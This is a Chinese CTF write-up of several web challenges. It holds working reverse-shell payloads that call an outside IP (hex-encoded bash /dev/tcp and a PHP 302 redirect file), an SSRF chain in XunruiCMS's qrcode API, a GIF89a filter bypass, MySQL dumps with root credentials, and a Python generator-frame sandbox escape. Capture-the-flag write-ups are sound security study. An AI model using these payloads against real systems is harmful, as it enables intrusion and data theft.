Simple_php
题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?
直接给了源码
paste或者rev可以读文件
发现一个异常情况,具有mysql用户,或许可以从这里入手
看出mysql服务开启
cmd=mysql --version
ps -aux
命令执行结果可以确认靶机有mysql
服务
同时根目录下没有flag
BURP发包
cmd=l%0as /
为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
easycms
题目描述:简单的cms,可以扫扫看?
hint:
提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?
敏感目录:
/flag.php
/install.php
/Readme.txt
/Readme.txt是乱码,在线恢复一下
迅睿CMS官方下载地址:https://www.xunruicms.com/down/
#### 安装路径
将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?
安装环境监测�?/test.php
程序安装地址�?/install.php
后台登录地址�?/admin****.php�?****是随机的�?
重置后台地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 运行环境
Laravel内核:PHP8.0及以�?
ThinkPHP内核:PHP7.4及以�?
CodeIgniter内核:PHP7.4及以�?
CodeIgniter72内核:PHP7.2及以�?
MySQL数据库:MySQL5及以上,推荐5.7及以�?
#### 内核切换方法
https://www.xunruicms.com/doc/1246.html
无法重新安装
hint的源码告诉我们flag.php
存在ssrf
,可以直接getshell。源码在github
上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
信息搜集,存在一个已知的ssrf
迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php
的qrcode
函数
thumb
参数可控
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data
函数存在SSRF
302.php,拿不到回显所以只能反弹shell
<?php
//header("HTTP/1.1 302 found");
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
easycms_revenge
题目描述:又是个简单的cms,研发修复了函数存在的漏洞。
试试昨天的payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
无效了
能出网
index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173:9023/
试试thumb=http://127.0.0.1/XXXX的,不行,还是得从vps走一下。
昨天的302脚本:
<?php
//header("HTTP/1.1 302 found");
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
curl一下,看看是bash没了还是不能302了
<?php
//header("HTTP/1.1 302 found");
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=curl%206c48yi2g.requestrepo.com");
exit();
?>
curl也不行,bash也不行。但是思来想去必须302。
对比前后两题差异,今天这题会回显此图片不是一张可用的图片,昨天的直接网页加载状态。能出网,猜测是对输入的url进行了判断,参考文件上传的图片限制绕过方法。
小细节是一定要加<html>
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
</html>
mossfern
题目描述:小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?
源码目录结构:
main
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1
app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()
@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
runner
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""
from sys import exit
from builtins import print
try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()
def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""
def audit(event, args):
from builtins import str, print
import os
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit
def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
if __name__ == "__main__":
from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time
source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()
if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)
函数 source_simple_check
用来对输入的源代码进行基础的安全检查。首先,它检查代码是否只包含ASCII字符;如果不是,它会打印警告并退出程序。接下来,它查找一些可能表示危险操作的字符串,例如 "__"
、"getattr"
、和 "exit"
。如果发现这些字符串,函数会打印它们并退出程序。这些检查有助于防止注入和系统命令执行等风险。
函数 block_wrapper
返回一个用于系统审计的钩子函数,它会检查运行中的事件和参数,寻找可能涉及危险操作的关键词,如 "marshal"
、"__new__"
、"os"
等。如果检测到这些词,程序将打印词语并调用 os._exit(1)
立即退出。这是一个更深层次的防御措施,旨在防止恶意代码操控Python解释器或操作系统功能。
函数 source_opcode_checker
通过分析Python字节码来检测源代码中潜在的危险操作。它首先将源代码编译成字节码,然后检查字节码中的每一行,寻找包含如 "LOAD_GLOBAL"
、"IMPORT_NAME"
、或 "LOAD_METHOD"
这样的操作码。这些操作码可能涉及到危险函数的调用或外部模块的加载。如果发现有问题的代码行,程序会打印相关操作码并退出。
主执行部分
在主执行部分,脚本从一个文件中读取代码,然后执行前面定义的安全检查函数。之后,代码被编译并且设置了审计钩子,以防运行时违规操作。代码在一个严格限定的环境中执行,其中仅允许使用几个安全的随机数函数和打印函数。执行结果被捕获并最后进行检查,以确保不包含敏感字符串 “THIS_IS_SEED”,如果包含,表示检查失败。
通过多层审计和执行限制,力图在执行外部提交的Python代码时提供一个相对安全的环境。这种方法有助于防止代码执行中的常见安全问题,如注入攻击、未授权的系统访问等。
一眼沙箱逃逸,尝试利用栈帧逃逸。
参考:
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3DdSMOkdxWD&alichlgref=https%3A%2F%2Fwww.bing.com%2F
使用gi_frame获取当前帧的信息
def my_generator():
yield 1
yield 2
yield 3
gen = my_generator()
frame = gen.gi_frame
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
没被过滤,栈帧逃逸可行
利用栈帧沙箱逃逸,原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
尝试一下文中给出的例子:
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
print(frame)
print(frame.f_back)
waff()
报错,应该是被函数检测到了
改一下
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back)
waff()
OK不报错
f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
back三次即可,有输出就是对了
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals["_" * 2 + "builtins" + "_" * 2]
dir = gattr.dir
str = gattr.str
waff()
f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
dir = gattr.dir
getflag = frame.f_back.f_back.f_back.f_code
print(dir(getflag))
exp()
直接打印不行,还有一道防线
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
# frame = next(scq)
frame=[x for x in scq][0]
print(frame)
print(frame.f_back)
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
getflag = frame.f_back.f_back.f_back.f_code
dir = gattr.dir
print(dir(getflag))
for i in getflag.co_consts:
print(i)
exp()
转字符串再打印
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq() #生成器
# frame = next(scq) # 获取到生成器的栈帧对象
frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象
# print(frame)
# print(frame.f_back)
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] #['_''_bui''ltins_''_']也行
dir = gattr.dir
str = gattr.str # 获取str方法
getflag = frame.f_back.f_back.f_back.f_code
print(dir(getflag))
for i in str(getflag.co_consts):
print(i)
exp()
*sanic(没出)
题目描述:sanic能有什么问题呢?
敏感目录
/admin
/src
源码:
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')